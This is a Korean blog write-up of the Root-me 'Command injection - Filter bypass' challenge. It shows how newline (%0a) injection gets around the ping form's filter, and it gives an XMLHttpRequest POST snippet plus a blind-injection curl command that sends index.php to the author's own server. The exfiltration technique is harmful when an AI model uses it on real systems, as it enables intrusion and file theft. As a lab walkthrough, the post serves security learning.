Command injection - Filter bypass
index.php 파일을 읽어야 되는 문제이며
ping test를 할 수 있는 웹페이지이다.
문제풀이
당연히 ;나 &를 넣어봤을 때 필터링이 될줄 알았는데 127.0.0.1;과 같이 연결해보니 잘되었다.
12;;;7.0.0.1 과 같은게 Ping OK라고 뜨는 것을 보면 공백으로 처리되는 것 같았고,
LOS풀 때 sql injection 할 때에도 사용한 %0a를 이용하니까 이번 문제도 풀 수 있었다.
처음에 %0a를 input box에다가 넣어서 삽질을 많이했다. (후.. input box에서 모두 문자열로 읽으므로 %0a가 단순히 문자열로 인식된다. )
다음과 같이 console창에다가 post형식으로 데이터를 전송해주면 %0a 뒤에 명령어를 넣어도 Ping Ok를 확인할 수 있다.
client=new XMLHttpRequest();
client.open('POST',"http://challenge01.root-me.org/web-serveur/ch53/",true);
client.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
client.send("변수명=입력할 데이터");
참고사이트 : https://dongdd.tistory.com/29
이제 %0a로 뒤에 명령어를 연결할 수 있음을 알게 되었고
Ping OK만 뜨고 다른 출력문은 나오지 않으니 index.php를 직접적으로 출력하여 문제를 풀 수는 없다.
Blind command injection을 검색하여 여러 방법들을 찾을 수 있었는데 그중에서 curl 을 이용하여 문제를 해결하였다.
curl을 통해 우리는 index.php 파일을 우리의 서버에 전송하여야하는데
curl 메뉴얼을 살펴보면서 --data 옵션으로 문제를 해결할 수 있었다.
curl --data-urlencode "name@file_name" 본인서버.
여기서 우리가 필요한 file_name은 index.php이므로 file_name부분에 index.php를 넣고
본인서버에 $_POST[name]으로 데이터를 받아서 다른파일에 저장시켜주면
해당 파일에 index.php 내용이 load되어 flag를 찾을 수 있다.
참고한 curl 메뉴얼 :
https://curl.haxx.se/docs/manual.html
https://curl.haxx.se/docs/manpage.html
웹브라우저에서 렌더링 과정
https://jeong-pro.tistory.com/90
'Web hacking > Root me' 카테고리의 다른 글
[Root-me] - XML External Entity (0) | 2019.12.11 |
---|---|
[Root-me] - PHP - Eval (0) | 2019.12.03 |
[Root-me] - File upload - ZIP (0) | 2019.12.03 |
[Root-me] - Local File Inclusion - Wrappers (0) | 2019.11.30 |
[Root-me] PHP - Serialization (0) | 2019.11.16 |